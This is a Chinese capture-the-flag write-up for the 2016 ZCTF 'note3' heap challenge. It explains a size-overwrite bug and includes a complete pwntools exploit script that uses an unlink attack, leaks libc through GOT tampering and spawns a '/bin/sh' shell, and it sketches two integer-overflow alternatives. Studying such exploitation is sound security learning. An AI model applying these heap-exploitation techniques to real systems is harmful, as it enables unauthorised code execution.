2016 ZCTF note3：一种新解法

2016 ZCTF note3：一种新解法

最近在学习unlink做到了这道题，网上有两种做法：一种是利用edit功能读入id时整数溢出使索引为-1，一种是设置块大小为0使得写入时利用整数溢出漏洞可以将数据溢出到下一个块中。我采取了另一种思路：程序在分配id=7块时虽然提示块已满，但没有采取措施，依然分配了一个块，并将块地址放在了存放块0 size的位置，使得可以往块0写入足够多的数据溢出到下一个块中。
我先分析我的解法，然后再简单叙述一下另外两种解法的原理。
程序分析

一般步骤查看程序保护措施。

该程序有4个功能：

• New note
  
• Show note(假的，只打印一个字符串)
  
• Edit note
  
• Delete note
  

New功能

添加note函数如下图，主要流程已通过注释标注。值得注意的是当i=7时，虽然提示note已满，添加失败，但没有return语句，后面依然为它分配块并将地址保存在&ptr+7处。（注意：i=0时块的size保存在qword_6020C0[0+8]处）

需要关注的是qword_6020C0和ptr的关系，其内存关系如下所示

1. .bss:00000000006020C0 ; __int64 qword_6020C0[]
2. .bss:00000000006020C0 qword_6020C0    dq ?                    ; DATA XREF: sub_400A30+D1↑w
3. .bss:00000000006020C0                                         ; sub_400A30+E6↑w ...
4. .bss:00000000006020C8 ; void *ptr
5. .bss:00000000006020C8 ptr             dq ?                    ; DATA XREF: sub_400A30+16↑r
6. .bss:00000000006020C8                                         ; sub_400A30+BC↑w ...
7. .bss:00000000006020D0                 dq ?
8. .bss:00000000006020D8                 dq ?
9. .bss:00000000006020E0                 dq ?
10. .bss:00000000006020E8                 dq ?
11. .bss:00000000006020F0                 dq ?
12. .bss:00000000006020F8                 dq ?
13. .bss:0000000000602100                 dq ?
14. .bss:0000000000602108                 dq ?

复制代码

可以看到ptr所在位置等同于qword_6020C0[1]所在位置，所以当i=7时分配的块地址保存在&ptr+7等同于保存在qword_6020C0[8]处，即表示i=0块的大小。通过分配i=7块可实现i=0块大小被新分配块地址覆写，而块地址所代表的大小足够我们溢出到后面的块内。
Show功能

该功能没什么用，只打印一串字符串。

Edit功能

如图，主要操作通过注释的方式介绍。

Delete功能


qword_6020C0[0]可以理解为最近操作过的块地址。
漏洞利用

漏洞利用思路如下：
1.unlink
添加7个块后，再添加一个块(i=7)，这时块0的大小会被改的很大(值为块7的地址)，然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink。需要注意第i=1个块时大小要超过fastbin的范围。
2.泄露地址
unlink后可以实现任意写。为了泄露函数地址，需要执行输出函数，可以将free@got值改为puts@plt值，然后将块i的地址改为puts@got的地址，这时调用删除功能free(块i)就可以输出puts@got的值，从而得到动态链接库加载地址，进一步得到system地址。
3.getshell
最后将atoi@got值改为system地址，然后在选择功能时输入/bin/sh即可得到shell。
Expolit

漏洞利用代码如下：

1. from pwn import *
3. p = process('./note3')
4. #context.log_level = 'debug'
6. def new(size,content):
7.     p.sendlineafter('option--->>','1')
8.     p.sendlineafter('1024)',str(size))
9.     p.sendlineafter('content:', content)
10.     p.recvuntil('\n')
12. def edit(idx, content):
13.     p.sendlineafter('option--->>','3')
14.     p.sendlineafter('note:', str(idx))
15.     p.sendlineafter('content:', content)
16.     p.recvuntil('success')
18. def delete(idx):
19.     p.sendlineafter('option--->>', '4')
20.     p.sendlineafter('note:', str(idx))
22. #gdb.attach(p)
23. # 分配7+1个块
24. new(0x40, 'b'*32)
25. new(0x80, 'b'*32)        #为进行unlink，块要大于fastbin
26. new(0x80, 'b'*32)
27. new(0x80, 'b'*32)
28. new(0x80, 'b'*32)
29. new(0x80, 'b'*32)
30. new(0x80, 'b'*32)
31. new(0x80, 'b'*32)        #第0块的size变量值会被该块的地址覆盖，进而第0块可以写入足够多的数据
33. target = 0x6020C8        #指向ptr
34. fd = target - 0x18
35. bk = target - 0x10
36. # 构造fake_chunk
37. payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
38. # 溢出到下一个块，覆盖chunk header
39. payload += p64(0x40) + p64(0x90)
40. edit(0,payload)                # 向块0写入数据溢出
41. delete(1)                        # 触发unlink=>ptr[0]=&ptr-0x18
43. elf = ELF('./note3')
44. # 从&ptr-0x18开始写入数据 =>
45. # 0x6020C8(ptr+0x00): elf.got['free']                chunk0_ptr
46. # 0x6020D0(ptr+0x08): elf.got['puts']                chunk1_ptr
47. # 0x6020D8(ptr+0x10): 0x6020C8                                chunk2_ptr
48. payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
49. edit(0,payload)
51. # 将free@got改为puts@plt:
52. # 向chunk0_ptr(free@got)写入puts@plt
53. # 注意这里发送的地址是7位，因为程序会在用户输入后面加上\x00，若发送8位会将下一个got地址低字节变为0。这里puts@plt高字节也为\x00，所以发送7位无影响。
54. edit(0, p64(elf.plt['puts'])[:-1])
55. # 原会调用free(chunk1_put)，实际调用puts(puts@got)泄露地址
56. delete(1)
57. p.recvuntil('\n')
58. # 读取泄露的地址值
59. puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
60. print(hex(puts_addr))
61. # 任意地址写，通过edit chunk2_ptr来修改chunk0_ptr的指向，再通过edit chunk0_ptr修改chunk0_ptr指向的值。
62. def write(where,what):
63.     edit(2, p64(where))
64.     edit(0, p64(what))
65. # 获取libc基址
66. libc = ELF('./libc-2.23.so')
67. libc_base = puts_addr - libc.symbols['puts']
68. log.success('libc base: ' + hex(libc_base))
69. # 获取system函数地址
70. sys_addr = libc_base + libc.symbols['system']
71. log.success('sys_addr: ' + hex(sys_addr))
72. # 将atio@got值改为system函数地址
73. write(elf.got['atoi'], sys_addr)
74. # 因为atoi改为了system,输入选项时输入"/bin/sh",会执行system("/bin/sh")
75. p.sendlineafter('option--->>','/bin/sh\x00')
76. p.interactive()

复制代码

执行结果如图所示

方法2：编辑时整数溢出

下图为向块写入时的功能函数，这里变量i定义为unsigned __int64类型，在第7行，当a2为0时，a2-1就会变得"无限大"，从而可以无限制写入数据，溢出到下一个块，利用unlink漏洞实现任意地址写，进而拿到系统shell。

方法3：输入索引整数溢出

在edit功能内，调用read_num_4009B9()让用户输入索引，利用求余使索引小于7。

进入read_num_4009B9()函数内，可以看到程序对用户输入进行了判断，若小于0则取相反数。

漏洞就出现在，当用户输入的为最大负整数(即-9223372036854775808)，内存中十六进制表示为0x8000000000000000，取相反数过程为-x=~x+1，即0x7fffffffffffffff+1=0x8000000000000000，在计算机表示中最大负整数的相反数还是最大负整数！
当v0为最大负整数，则v0%7>=v0的条件也能被满足，且结果v3为-1，这将向ptr[-1]指向的地址写入内容，而ptr[-1]指向的地址为最近操作过的块的地址。而写入的大小为qword_6020C0[-1+8]，即ptr[6]，其为i=6块的地址，即可以写入"无限"多的数据，溢出到下一块实现unlink，进一步实现任意地址写、函数地址泄露、构造执行system("/bin/sh")，拿到shell。